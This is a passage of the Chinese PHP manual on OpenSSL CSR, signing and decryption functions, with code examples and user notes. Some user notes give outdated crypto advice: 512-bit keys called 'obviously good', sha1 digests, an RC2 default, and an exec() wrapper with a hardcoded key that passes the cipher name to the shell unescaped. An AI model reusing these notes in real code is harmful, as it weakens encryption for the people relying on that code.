在成功时，该字符串将包含 PEM 编码的 CSR。

no_text

可选参数 notext 影响输出的冗余度。如果设为 false，输出内容将包含附加的人类可读信息。notext 的缺省值为 true。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | csr 现在接受 OpenSSLCertificateSigningRequest 实例；之前接受类型 OpenSSL X.509 CSR 的 resource。

示例

Example #1 openssl_csr_export() 示例

<?php
$subject = array(
"commonName" => "example.com",
);
$private_key = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$configargs = array(
'digest_alg' => 'sha256WithRSAEncryption'
);
$csr = openssl_csr_new($subject, $private_key, $configargs);
openssl_csr_export($csr, $csr_string);
echo $csr_string;
?>

参见

  • openssl_csr_export_to_file() - 将 CSR 导出到文件
  • openssl_csr_new() - 生成一个 CSR
  • openssl_csr_sign() - 用另一个证书签署 CSR（或者本身）并且生成一个证书

User Contributed Notes

carlos AT wfmh DOT org DOT pl 26-Jun-2002 07:44
Here you come with the example of how to use this function.

if( $csr = openssl_csr_new( array(
     "countryName"=>"PL",
     "stateOrProvinceName" => "blah",
     "organizationName" => "company ltd",
     "commonName"=>"foo.bar.com",
     "Email"=>"blah@foo.bar.com"), $privkey )
                  )
   {
   openssl_csr_export_to_file( $csr, "out.csr");
   }
else
   {
   printf("failed\n");
   }

Keep in mind that keys are case sensitive (i.e. give "email" instead of "Email" and you get warning). Also remember it's important to keep the order of the arguments in array. Move the "Email" above commonName and check what you get (in case you don't know how: "openssl req -noout -text -in out.csr").

It also happened to me me I got segfault when order was rubbish (afair Email after countryName, or plenty Email's here and there), so be awared.


返回 CSR 的公钥

  • ? openssl_csr_export
  • openssl_csr_get_subject ?
  • PHP Manual
  • OpenSSL 函数
  • 返回 CSR 的公钥

openssl_csr_get_public_key

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

openssl_csr_get_public_key — 返回 CSR 的公钥

说明

openssl_csr_get_public_key(OpenSSLCertificateSigningRequest|string $csr, bool $short_names = true): OpenSSLAsymmetricKey|false

openssl_csr_get_public_key() 从 csr 中提取公钥供其他功能使用。

参数

csr

See CSR parameters for a list of valid values.

short_names
Warning

该参数可以省略。

返回值

成功时返回 OpenSSLAsymmetricKey，错误则返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时此函数现在返回 OpenSSLAsymmetricKey 实例；之前返回类型 OpenSSL key 的 resource。
8.0.0 | csr 现在接受 OpenSSLCertificateSigningRequest 实例；之前接受类型 OpenSSL X.509 CSR 的 resource。

示例

Example #1 openssl_csr_get_public_key() 示例

<?php
$subject = array(
"commonName" => "example.com",
);
$private_key = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$csr = openssl_csr_new($subject, $private_key, array('digest_alg' => 'sha256') );
$public_key = openssl_csr_get_public_key($csr);
$info = openssl_pkey_get_details($public_key);
echo $info['key'];
?>

参见

  • openssl_csr_get_subject() - 返回 CSR 的主题
  • openssl_csr_new() - 生成一个 CSR
  • openssl_pkey_get_details() - 返回包含密钥详情的数组
  • openssl_pkey_export_to_file() - 将密钥导出到文件中
  • openssl_pkey_export() - 将一个密钥的可输出表示转换为字符串

User Contributed Notes

php at siemenroorda dot nl 29-Sep-2009 07:44
Function openssl_pkey_get_details can read this resource. Try:

<?php
  print_r(openssl_pkey_get_details(openssl_csr_get_public_key($csr)));
?>


返回 CSR 的主题

  • ? openssl_csr_get_public_key
  • openssl_csr_new ?
  • PHP Manual
  • OpenSSL 函数
  • 返回 CSR 的主题

openssl_csr_get_subject

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

openssl_csr_get_subject — 返回 CSR 的主题

说明

openssl_csr_get_subject(OpenSSLCertificateSigningRequest|string $csr, bool $short_names = true): array|false

openssl_csr_get_subject() 返回 csr 中专有名称信息的主题，其中包含了通用名称（CN）、机构名称（O）、国家名（C）等字段。

参数

csr

See CSR parameters for a list of valid values.

short_names

shortnames 控制着数据如何在数组中被索引 - 如果 shortnames 为 true (默认) 将使用简称形式对字段进行索引，否则将使用全称形式 - 比如： CN 就是 commonName 的简称形式。

返回值

返回带有主题描述的关联数组， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | csr 现在接受 OpenSSLCertificateSigningRequest 实例；之前接受类型 OpenSSL X.509 CSR 的 resource。

示例

Example #1 openssl_csr_get_subject() 示例

<?php
$subject = array(
"countryName" => "CA",
"stateOrProvinceName" => "Alberta",
"localityName" => "Calgary",
"organizationName" => "XYZ Widgets Inc",
"organizationalUnitName" => "PHP Documentation Team",
"commonName" => "Wez Furlong",
"emailAddress" => "wez@example.com",
);
$private_key = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));
$configargs = array(
'digest_alg' => 'sha512WithRSAEncryption'
);
$csr = openssl_csr_new($subject, $privkey, $configargs);
print_r(openssl_csr_get_subject($csr));
?>

以上示例的输出类似于：

Array
(
    [C] => CA
    [ST] => Alberta
    [L] => Calgary
    [O] => XYZ Widgets Inc
    [OU] => PHP Documentation Team
    [CN] => Wez Furlong
    [emailAddress] => wez@example.com
)

参见

  • openssl_csr_new() - 生成一个 CSR
  • openssl_csr_get_public_key() - 返回 CSR 的公钥
  • openssl_x509_parse() - 解析一个 X509 证书并作为一个数组返回信息

User Contributed Notes

Steve 27-May-2016 12:51
This function may not return name fields in the order they appear in the certificate.  For example, this CSR:

-----BEGIN CERTIFICATE REQUEST-----
MIHsMIGUAgEAMDIxEDAOBgNVBAsMB3VuaXQgIzExDDAKBgNVBAoMA29yZzEQMA4G
A1UECwwHdW5pdCAjMjBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABGvZnFxGuVzJ
hOKPs5RNxZBS4vY6ERaqm5tKMGOhxLSfv/dpjDtNNdSHkIGNjYxclHYhxG0ku7BY
PA5uPIjng1SgADAKBggqhkjOPQQDAgNHADBEAiB4GXhhbEU1UFTCe0dwJnKHTQuI
xzYL5FnyhmKdixN/0gIgBXSm9S8L/oJ6rBxemin/V/xKv5jy4TEZuz84nnshxQQ=
-----END CERTIFICATE REQUEST-----

When processed by 'openssl -noout -subject' gives this:

subject=/OU=unit #1/O=org/OU=unit #2

On the other hand, 'var_dump( openssl_csr_get_subject( "..." ) )' will produce this:

csr = array(2) {
  ["OU"]=>
  array(2) {
    [0]=>
    string(7) "unit #1"
    [1]=>
    string(7) "unit #2"
  }
  ["O"]=>
  string(3) "org"
}

As you can see, ordering information (which may be important for some applications) is lost.
pdm at wp dot pl 21-Aug-2015 10:11
openssl_csr_get_subject('somedomain.com',false);
return
array(7) {
  ["countryName"]=> string "XX"
  ["stateOrProvinceName"]=> string "xxxxxxxxx"
  ["localityName"]=> string "xxxxxxxx"
  ["organizationName"]=> string "xxxxxxxxx"
  ["organizationalUnitName"]=>string "xxxx"
  ["commonName"]=>string "xxx"
  ["emailAddress"]=>string "xxx"
}

 openssl_csr_get_subject('somedomain.com',true);
return
array(7) {
  ["C"]=> string "XX"
  ["ST"]=> string "xxxxxxxxx"
  ["L"]=> string "xxxxxxxx"
  ["O"]=> string "xxxxxxxxx"
  ["OU"]=>string "xxxx"
  ["CN"]=>string "xxx"
  ["emailAddress"]=>string "xxx"
}
mikko koivu 21-Jul-2010 09:10
this function does not yet return SANs (subject alternative names) fields for UC certificates like those used in exchange 2007.
stephan[at]strato-rz[dot]de 21-Jan-2009 01:13
The returning assoziative array is indexed with the fields
in the subject so you should have a array key named CN,OU and so on.


生成一个 CSR

  • ? openssl_csr_get_subject
  • openssl_csr_sign ?
  • PHP Manual
  • OpenSSL 函数
  • 生成一个 CSR

openssl_csr_new

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_new — 生成一个 CSR

说明

openssl_csr_new(
array $distinguished_names,
OpenSSLAsymmetricKey &$private_key,
?array $options = null,
?array $extra_attributes = null
): OpenSSLCertificateSigningRequest|false

openssl_csr_new() 根据 distinguished_names 提供的信息生成新的 CSR（证书签名请求）。

Note: 必须安装有效的 openssl.cnf 以保证此函数正确运行。参考有关安装的说明以获得更多信息。

参数

distinguished_names

在证书中使用的专有名称或主题字段。

private_key

private_key 应该被设置为由 openssl_pkey_new() 函数预先生成(或者以其他方式从 openssl_pkey 函数集中获得)的私钥。该密钥的相应公共部分将用于签署 CSR。

options

默认通过系统里的 openssl.conf 配置来初始化请求；可以通过设置 options 的 config_section_section 项来指定配置文件部分。 还可以通过将 config 键的值设置为想要使用的文件路径来指定另一个 openssl 配置文件。如果在 options 中存在下列键，它们的行为就像在 openssl.conf 中一样。如下表所示：

配置覆盖
options 键 | 类型 | 等同于 openssl.conf | 描述
digest_alg | string | default_md | 摘要算法或签名哈希算法，通常是 openssl_get_md_methods() 之一。
x509_extensions | string | x509_extensions | 选择在创建 x509 证书时应该使用哪些扩展
req_extensions | string | req_extensions | 创建 CSR 时，选择使用哪个扩展
private_key_bits | int | default_bits | 指定应该使用多少位来生成私钥
private_key_type | int | none | 选择在创建 CSR 时应该使用哪些扩展。可选值有 OPENSSL_KEYTYPE_DSA、 OPENSSL_KEYTYPE_DH、 OPENSSL_KEYTYPE_RSA 或 OPENSSL_KEYTYPE_EC。 默认值是 OPENSSL_KEYTYPE_RSA。
encrypt_key | bool | encrypt_key | 是否应该对导出的密钥（带有密码短语）进行加密?
encrypt_key_cipher | int | none | cipher constants 常量之一。
curve_name | string | none | openssl_get_curve_names() 之一。
config | string | N/A | 自定义 openssl.conf 文件的路径。

extra_attributes

extra_attributes 用于为 CSR 指定额外的配置选项。distinguished_names 和 extra_attributes 都是关联数组它们的键被转换成 OID，并应用到请求的相关部分。

返回值

成功，返回 CSR 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 OpenSSLCertificateSigningRequest 实例；之前返回类型 OpenSSL X.509 CSR 的 resource。
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 实例；之前接受类型 OpenSSL key 的 resource。
7.1.0 | options 现在也支持 curve_name。

示例

Example #1 创建一个自签名的证书

<?php
// for SSL server certificates the commonName is the domain name to be secured
// for S/MIME email certificates the commonName is the owner of the email address
// location and identification fields refer to the owner of domain or email subject to be secured
$dn = array(
"countryName" => "GB",
"stateOrProvinceName" => "Somerset",
"localityName" => "Glastonbury",
"organizationName" => "The Brain Room Limited",
"organizationalUnitName" => "PHP Documentation Team",
"commonName" => "Wez Furlong",
"emailAddress" => "wez@example.com"
);

// Generate a new private (and public) key pair
$privkey = openssl_pkey_new(array(
"private_key_bits" => 2048,
"private_key_type" => OPENSSL_KEYTYPE_RSA,
));

// Generate a certificate signing request
$csr = openssl_csr_new($dn, $privkey, array('digest_alg' => 'sha256'));

// Generate a self-signed cert, valid for 365 days
$x509 = openssl_csr_sign($csr, null, $privkey, $days=365, array('digest_alg' => 'sha256'));

// Save your private key, CSR and self-signed cert for later use
openssl_csr_export($csr, $csrout) and var_dump($csrout);
openssl_x509_export($x509, $certout) and var_dump($certout);
openssl_pkey_export($privkey, $pkeyout, "mypassword") and var_dump($pkeyout);

// Show any errors that occurred here
while (($e = openssl_error_string()) !== false) {
echo $e . "\n";
}
?>

Example #2 创建一个自签名的 ECC 证书（从 PHP 7.1.0 开始）

<?php
$subject = array(
"commonName" => "docs.php.net",
);

// Generate a new private (and public) key pair
$private_key = openssl_pkey_new(array(
"private_key_type" => OPENSSL_KEYTYPE_EC,
"curve_name" => 'prime256v1',
));

// Generate a certificate signing request
$csr = openssl_csr_new($subject, $private_key, array('digest_alg' => 'sha384'));

// Generate self-signed EC cert
$x509 = openssl_csr_sign($csr, null, $private_key, $days=365, array('digest_alg' => 'sha384'));
openssl_x509_export_to_file($x509, 'ecc-cert.pem');
openssl_pkey_export_to_file($private_key, 'ecc-private.key');
?>

参见

  • openssl_csr_sign() - 用另一个证书签署 CSR（或者本身）并且生成一个证书

User Contributed Notes

@operator 13-Dec-2016 02:19
One command to create modern certificate request with 4 SAN subdomain.
According to RFC you can change CN (common name) and subjectAltName. When cert validated searching in CN and subjectAltName.

openssl req -new -nodes -config <( cat <<-EOF
[req]
default_bits = 2048
prompt = no
default_md = sha256
req_extensions = re
distinguished_name = dn
[ dn ]
CN = my.tld
C = country
ST = state
L = location
O = ORGANISATION
[ re ]
subjectAltName = DNS.1: www.my.tld, DNS.2: www2.my.tld, DNS.3: www3.my.tld, DNS.4: www4.my.tld
EOF
) -keyout secret.key -out req.csr
james at kirk dot com 15-Jun-2015 06:56
When in doubt, read the source code to PHP!

$configargs is fairly opaque as to what is going on behind the scenes.  That is, until you actually look at php_openssl_parse_config() in '/ext/openssl/openssl.c':

    SET_OPTIONAL_STRING_ARG("digest_alg", req->digest_name,
        CONF_get_string(req->req_config, req->section_name, "default_md"));
    SET_OPTIONAL_STRING_ARG("x509_extensions", req->extensions_section,
        CONF_get_string(req->req_config, req->section_name, "x509_extensions"));
    SET_OPTIONAL_STRING_ARG("req_extensions", req->request_extensions_section,
        CONF_get_string(req->req_config, req->section_name, "req_extensions"));
    SET_OPTIONAL_LONG_ARG("private_key_bits", req->priv_key_bits,
        CONF_get_number(req->req_config, req->section_name, "default_bits"));

    SET_OPTIONAL_LONG_ARG("private_key_type", req->priv_key_type, OPENSSL_KEYTYPE_DEFAULT);

Here we can see that SET_OPTIONAL_STRING_ARG() is called for most inputs but for 'private_key_bits' SET_OPTIONAL_LONG_ARG() is called.  Both calls are C macros that expand to code that enforces the expected input type.  The generated code ignores the input without warning/notice if an unexpected type is used and just uses the default from the configuration file.  This is why using a string with 'private_key_bits' will result in unexpected behavior.

Further inspection of the earlier initialization in the same function:

    SET_OPTIONAL_STRING_ARG("config", req->config_filename, default_ssl_conf_filename);
    SET_OPTIONAL_STRING_ARG("config_section_name", req->section_name, "req");
    req->global_config = CONF_load(NULL, default_ssl_conf_filename, NULL);
    req->req_config = CONF_load(NULL, req->config_filename, NULL);

    if (req->req_config == NULL) {
        return FAILURE;
    }

And elsewhere in another function:

    /* default to 'openssl.cnf' if no environment variable is set */
    if (config_filename == NULL) {
        snprintf(default_ssl_conf_filename, sizeof(default_ssl_conf_filename), "%s/%s",
                X509_get_default_cert_area(),
                "openssl.cnf");
    } else {
        strlcpy(default_ssl_conf_filename, config_filename, sizeof(default_ssl_conf_filename));
    }

Reveals that 'config' in $configargs is an override for any default setting elsewhere.  This actually negates the comment in the documentation that says "Note: You need to have a valid openssl.cnf installed for this function to operate correctly. See the notes under the installation section for more information."  A more correct sentence would be "Note:  You need to either have a valid openssl.cnf set up or use $configargs to point at a valid openssl.cnf file for this function to operate correctly."

All of that goes to show that looking at the PHP source code is the only real way to figure out what is actually happening.  Doing so saves time and effort.
Anonymous 19-Feb-2015 04:44
For those of you using Debian-based systems, the openssl configuration file is at: /etc/ssl/openssl.cnf
alex at nodex dot co dot uk 17-Dec-2014 10:59
In the PHP example above it uses "UK" as the country name which is incorrect, the country name must be "GB"
Richard Lynch 17-Jul-2013 03:49
There appears to be no openssl_csr_free function.

At least not here.

If it's in the source, one might be able to just call it.

If it's not in the source, it probably should be.
The_Lost_One 18-Sep-2009 07:45
Not sure whether the "bug" (undocumented behavior) I encountered is common to other people, but this comment might save hours of painful debug:
If you can't generate a new private key using openssl_pkey_new() or openssl_csr_new(), your script hangs during the call of these functions and in case you specified a "private_key_bits" parameter, ensure that you cast the variable to an int. Took me ages to notice that.

<?php
$SSLcnf = array('config' => '/usr/local/nessy2/share/ssl/openssl.cnf',
        'encrypt_key' => true,
        'private_key_type' => OPENSSL_KEYTYPE_RSA,
        'digest_alg' => 'sha1',
        'x509_extensions' => 'v3_ca',
        'private_key_bits' => $someVariable // ---> bad
        'private_key_bits' => (int)$someVariable // ---> good
        'private_key_bits' => 512 // ---> obviously good
        );
?>
main ATT jokester DOTT fr 02-Sep-2008 08:09
To set the "basicConstraints" to  "critical,CA:TRUE", you have to define configargs, but in the openssl_csr_sign() function !

That's my example of code to sign a "child" certificate :

$CAcrt = "file://ca.crt";
$CAkey = array("file://ca.key", "myPassWord");

$clientKeys = openssl_pkey_new();
$dn = array(
    "countryName" => "FR",
    "stateOrProvinceName" => "Finistere",
    "localityName" => "Plouzane",
    "organizationName" => "Ecole Nationale d'Ingenieurs de Brest",
    "organizationalUnitName" => "Enib Students",
    "commonName" => "www.enib.fr",
    "emailAddress" => "ilovessl@php.net"
);
$csr = openssl_csr_new($dn, $clientPrivKey);

$configArgs = array("x509_extensions" => "v3_req");
$cert = openssl_csr_sign($csr, $CAcrt, $CAkey, 100, $configArgs);

openssl_x509_export_to_file($cert, "childCert.crt");

Then if you want to add some more options, you can edit the "/etc/ssl/openssl.cnf" ssl config' file (debian path), and add these after the [ v3_req ] tag.
24-Jun-2005 12:34
If you get the error:

error:0D11A086:asn1 encoding routines:ASN1_mbstring_copy:string too short

then look at your key:value pairs in the $dn (distinguished name) array.

If you have one value (like "organizationalUnitName" = "") set to an empty string, it will throw the above error.

Fix the error by either eliminating that array element from $dn completely, or using a space " " instead of an empty string.
robertliu AT wiscore DOT com 12-May-2005 08:12
I am using PHP-4.3.11.
The type of configargs--private_key_bits is a INTEGER, not a string.
An example of configration:
<?php
$config = array(
  "digest_alg" => "sha1",
  "private_key_bits" => 2048,
  "private_key_type" => OPENSSL_KEYTYPE_DSA,
  "encrypt_key" => false
);
?>
dankybastard at hotmail 09-Feb-2005 06:31
As you probably guessed from the example, the documentation is misinforming.  openssl_csr_new returns a CSR resource or FALSE on failure.

mixed openssl_csr_new (assoc_array dn, resource_privkey, [...])


用另一个证书签署 CSR（或者本身）并且生成一个证书

  • ? openssl_csr_new
  • openssl_decrypt ?
  • PHP Manual
  • OpenSSL 函数
  • 用另一个证书签署 CSR（或者本身）并且生成一个证书

openssl_csr_sign

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_csr_sign — 用另一个证书签署 CSR（或者本身）并且生成一个证书

说明

openssl_csr_sign(
OpenSSLCertificateSigningRequest|string $csr,
OpenSSLCertificate|string|null $ca_certificate,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
int $days,
?array $options = null,
int $serial = 0
): OpenSSLCertificate|false

openssl_csr_sign() 从给定的 CSR 生成 x509 证书。

Note: 必须安装有效的 openssl.cnf 以保证此函数正确运行。参考有关安装的说明以获得更多信息。

参数

csr

由 openssl_csr_new() 函数生成的 CSR。 也可以是由类似file://path/to/csr格式指定的指向 PEM 编码的 CSR 路径，或者是一个由openssl_csr_export()函数生成的字符串。

ca_certificate

生成的证书将由ca_certificate签名。 如果ca_certificate 为 null, 生成的证书将是自签名证书。

private_key

private_key 是 ca_certificate 证书对应的私钥。

days

days 指定生成的证书在几天内有效的时间长度。

options

可以通过 options 确定 CSR 签名。 查看 openssl_csr_new() 方法获取 options 的更多相关信息。

serial

可选的发行证书编号。如果没有指定默认值为0.

返回值

成功时返回 OpenSSLCertificate，失败则返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 OpenSSLCertificate 实例；之前返回类型 OpenSSL X.509 的 resource。
8.0.0 | csr 现在接受 OpenSSLCertificateSigningRequest 实例；之前接受类型 OpenSSL X.509 CSR 的 resource。
8.0.0 | ca_certificate 现在接受 OpenSSLCertificate 实例；之前接受类型 OpenSSL X.509 的 resource。
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

示例

Example #1 openssl_csr_sign() 示例——签署 CSR（如何实现自己的 CA）

<?php
// Let's assume that this script is set to receive a CSR that has
// been pasted into a textarea from another page
$csrdata = $_POST["CSR"];

// We will sign the request using our own "certificate authority"
// certificate. You can use any certificate to sign another, but
// the process is worthless unless the signing certificate is trusted
// by the software/users that will deal with the newly signed certificate

// We need our CA cert and its private key
$cacert = "file://path/to/ca.crt";
$privkey = array("file://path/to/ca.key", "your_ca_key_passphrase");

$usercert = openssl_csr_sign($csrdata, $cacert, $privkey, 365, array('digest_alg'=>'sha256') );

// Now display the generated certificate so that the user can
// copy and paste it into their local configuration (such as a file
// to hold the certificate for their SSL server)
openssl_x509_export($usercert, $certout);
echo $certout;

// Show any errors that occurred here
while (($e = openssl_error_string()) !== false) {
echo $e . "\n";
}
?>

User Contributed Notes

Sriraam 21-Aug-2015 08:58
config_section_section is incorrect. The correct keyword to use is "config_section_name".
Kai Sellgren 20-Feb-2009 11:05
You can use file_get_contents() to directly pass the content instead of giving file paths.

Also, if you get an error "sec_error_reused_issuer_and_serial", put a serial into the last parameter:

<?php

$privkey = array(file_get_contents('ca.key'),"your_ca_key_passphrase");
$usercert = openssl_csr_sign($csrdata, file_get_contents('ca.crt'),$privkey,365,NULL,'06');
openssl_x509_export($usercert,$certout);
file_put_contents('serverCASigned.crt',$certout);

?>

In that above example the serial was "06".
thomas dot lussnig at bewegungsmelder dot de 11-Jul-2002 08:34
Here is an sample how to create valid X.509 Public and Private Key (cert/key).
When not using self signed the 4.2.1 segault. You need the CVS code at least for openssl.

<?
Header("Content-Type: text/plain");
$CA_CERT = "CA.cert.pem";
$CA_KEY  = "CA.key.pem";
$req_key = openssl_pkey_new();
if(openssl_pkey_export ($req_key, $out_key)) {
        $dn = array(
                "countryName"            => "DE",
                "stateOrProvinceName"    => "Frankfurt",
                "organizationName"       => "smcc.net",
                "organizationalUnitName" => "E-Mail",
                "commonName"             => "Testcert"
                );
        $req_csr  = openssl_csr_new ($dn, $req_key);
        $req_cert = openssl_csr_sign($req_csr, "file://$CA_CERT", "file://$CA_KEY", 365);
        if(openssl_x509_export ($req_cert, $out_cert)) {
                echo "$out_key\n";
                echo "$out_cert\n";
                }
        else    echo "Failed Cert\n";
        }
else            echo "FailedKey\n";
?>
eric at ypass dot net 13-Jun-2002 04:13
To generate a self-signed certificate, pass NULL as the signing certificate (2nd parameter).  For example:

$req_key = openssl_pkey_new();
$dn = array(
    "countryName" => "US",
    "stateOrProvinceName" => "Colorado",
    "organizationName" => "yPass.net",
    "organizationalUnitName" => "yPass.net",
    "commonName" => "yPass.net Root Certificate"
);
$req_csr = openssl_csr_new($dn, $req_key);
$req_cert = openssl_csr_sign($req_csr, NULL, $req_key, 365);


解密数据

  • ? openssl_csr_sign
  • openssl_dh_compute_key ?
  • PHP Manual
  • OpenSSL 函数
  • 解密数据

openssl_decrypt

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_decrypt — 解密数据

说明

openssl_decrypt(
string $data,
string $cipher_algo,
string $passphrase,
int $options = 0,
string $iv = "",
?string $tag = null,
string $aad = ""
): string|false

采用原始或base64编码的字符串，并使用给定的方法和密钥对其进行解密。

参数

data

将被解密的密文。

cipher_algo

加密算法，使用openssl_get_cipher_methods()函数获取可用的加密算法列表。

passphrase

密钥。

options

options can be one of OPENSSL_RAW_DATA, OPENSSL_ZERO_PADDING.

iv

非空的初始化向量。

tag

AEAD密码模式中的身份验证标签。 如果是错误的，验证失败，函数返回false.

Caution

函数不检查 tag 的长度。调用者有责任确保 tag 的长度与调用 openssl_encrypt() 时检索到的 tag 的长度相匹配。否则，如果给定的 tag 仅匹配正确 tag 的开头，解密可能会成功。

aad

额外的认证数据。

返回值

成功时已解密的字符串 或者在失败时返回 false。

错误／异常

如果通过 cipher_algo 参数传递的是未知的加密算法，将会抛出 E_WARNING 等级的错误。

如果通过iv参数传递的是一个空值，将会抛出一个 E_WARNING 等级的错误。

更新日志

版本 | 说明
8.1.0 | tag 现在可为 null。
7.1.0 | 添加了 tag 和 aad 参数。

参见

  • openssl_encrypt() - 加密数据

User Contributed Notes

markagius dot co dot uk 16-Apr-2017 09:35
openssl_decrypt(..) works with most but not all method types.
This list can vary, depending on the data (Message) and key (Password) used.

See the following code and edit the $text and $password values.
Code checks if text is the same after encrypting then decrypting it.

Note:
  You can still use openssl_encrypt(..) with;
  User enters 'Log-in password'
  (Encrypted and stored using openssl_encrypt)
  Next time.
  User logs-in with 'Log-in password'
  (Check that encrypted 'Log-in password' = stored data)

<CODE>
  // Please edit $password=... and $text=...

  $password = "This is a journey into sound";

  $text = "";
  for($charNo=0; $charNo<=255; $charNo=$charNo+1){
    // if($charNo==127) {$charNo=$charNo+1;}
    if(!$charNo<127){
      // $text = $text."&#x".strtoupper(dechex($charNo)).";";
      $text = $text.chr($charNo);
    } else {
      $text = $text.chr($charNo);
    }
  }

$text = "This is a test message.";

  print "<TABLE BORDER=\"1\">\n";
  print "<TR><TD><B>Encryption type:</B></TD><TD><B>String after converting back:</B></TD></TR>\n";
  $ciphers = openssl_get_cipher_methods();
  for($pointer=0; $pointer<count($ciphers); $pointer=$pointer+1){
    $edit  = EncryptDecrypt($text, true,  $password, $ciphers[$pointer]);
    $check = EncryptDecrypt($edit, false, $password, $ciphers[$pointer]);
    if($text!=$check){
      $info  = $check;
      print "<TR><TD>".$ciphers[$pointer]."</TD><TD>".$info."</TD></TR>\n";
    }
  }
  print "</TABLE>\n";

function EncryptDecrypt($oldText, $encryptIt=true, $password="PASSWORD", $encryptType=""){
  $ciphers = openssl_get_cipher_methods();
  $foundEncType = false;
  for($pointer=0; $pointer<count($ciphers); $pointer=$pointer+1){
    if($ciphers[$pointer]==$encryptType){$foundEncType=true;}
  }
  if(!$foundEncType){
    $encryptType = "RC2-64-CBC"; // Default value used if not set or listed.
  }
  if($encryptIt){
    $newText = openssl_encrypt($oldText,$encryptType,$password);
  } else {
    $newText = openssl_decrypt($oldText,$encryptType,$password);
  }
  return $newText;
}
</CODE>
The following (sometimes) don't work:
    DES-EDE3-CFB1    (sometimes)
    aes-128-gcm
    aes-192-gcm
    aes-256-gcm
    des-ede3-cfb1        (sometimes)
    id-aes128-GCM
    id-aes192-GCM
    id-aes256-GCM
lucianonapoli at yahoo dot it 28-Feb-2017 10:19
The parameter string $password must be in binary form and is derived from the exadecimal key value.

Example:

encrypting in command line console with openssl
openssl AES-256-CBC -K 5ae1b8a17bad4da4fdac796f64c16ecd -iv 34857d973953e44afb49ea9d61104d8c -in doc.txt -out doc.enc.txt

decripting in php
$key = hex2bin('5ae1b8a17bad4da4fdac796f64c16ecd');
$iv = hex2bin('34857d973953e44afb49ea9d61104d8c');

$output = openssl_decrypt($encstr, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);
Hernanibus 11-Jul-2016 06:04
Parameters may seem obvius to some but not for everyone so:

- $data can be as the description says raw or base64. If no $option is set (this is, if value of 0 is passed in this parameter), data will be assumed to be base64 encoded. If parameter OPENSSL_RAW_DATA is set, it will be understood as row data.

- $password (key) is a String of [pseudo] bytes as those generated by the function openssl_random_pseudo_bytes().

- $options as (as for 2016) two possible values OPENSSL_RAW_DATA and OPENSSL_ZERO_PADDING. Setting both can be done by OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING. If no OPENSSL_ZERO_PADDING is specify, default pading of PKCS#7 will be done as it's been observe by [openssl at mailismagic dot com]'s coment in openssl_encrypt()

- $iv is as in the case of $password, a String of bytes. Its length depends on the algorithm used. May be the best way to generate an $iv is by:

<?php
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('your algorithm'));// for example you algorithm = 'AES-256-CTR'
?>
ittasks at gmail dot com 03-Apr-2013 12:02
in case that hosting do not provide openssl_encrypt decrypt functions - it could be mimiced via commad prompt executions
this functions will check is if openssl is installed and try to use it by default

function sslPrm()
{
 return array("your_password","IV (optional)","aes-128-cbc");
}
function sslEnc($msg)
{
  list ($pass, $iv, $method)=sslPrm();
  if(function_exists('openssl_encrypt'))
     return urlencode(openssl_encrypt(urlencode($msg), $method, $pass, false, $iv));
  else
     return urlencode(exec("echo \"".urlencode($msg)."\" | openssl enc -".urlencode($method)." -base64 -nosalt -K ".bin2hex($pass)." -iv ".bin2hex($iv)));
}
function sslDec($msg)
{
  list ($pass, $iv, $method)=sslPrm();
  if(function_exists('openssl_decrypt'))
     return trim(urldecode(openssl_decrypt(urldecode($msg), $method, $pass, false, $iv)));
  else
     return trim(urldecode(exec("echo \"".urldecode($msg)."\" | openssl enc -".$method." -d -base64 -nosalt -K ".bin2hex($pass)." -iv ".bin2hex($iv))));
}

//example of usage:
$r= sslEnc("This is encryption/decryption test!");
echo "<br>\n".$r.":".sslDec($r);


计算远程 DH 公钥和本地 DH 密钥的共享密钥

  • ? openssl_decrypt
  • openssl_digest ?
  • PHP Manual
  • OpenSSL 函数
  • 计算远程 DH 公钥和本地 DH 密钥的共享密钥

openssl_dh_compute_key

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_dh_compute_key — 计算远程 DH 公钥和本地 DH 密钥的共享密钥

说明

openssl_dh_compute_key(string $public_key, OpenSSLAsymmetricKey $private_key): string|false

openssl_dh_compute_key() 返回的共享密钥通常用作与远端秘密通信的加密密钥。这称为 Diffie-Hellman 密钥交换。

Note: ECDH 仅从 PHP 8.1.0 和 OpenSSL 3.0.0 开始受支持。

参数

public_key

远端的 DH 公钥。

private_key

本地 DH 私钥，对应于要与远端共享的公钥。

返回值

成功时返回共享密钥， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey；之前接受类型 OpenSSL key 的 resource。

示例

Example #1 计算共享秘密

首先在本地生成公私 DH 密钥对，让远端也这样做。需要使用 openssl 命令行实用程序。

# generate private/public key keypair
openssl dhparam -out dhparam.pem 2048
openssl genpkey -paramfile dhparam.pem -out privatekey.pem

# extract public key only
openssl pkey -in privatekey.pem -pubout -out publickey.pem

接下来，将公钥发送给远端。使用 openssl pkey 命令查看从远端发送的公钥。

openssl pkey -pubin -in remotepublickey.pem -text -noout

以上示例的输出类似于：

PKCS#3 DH Public-Key: (2048 bit)
    public-key:
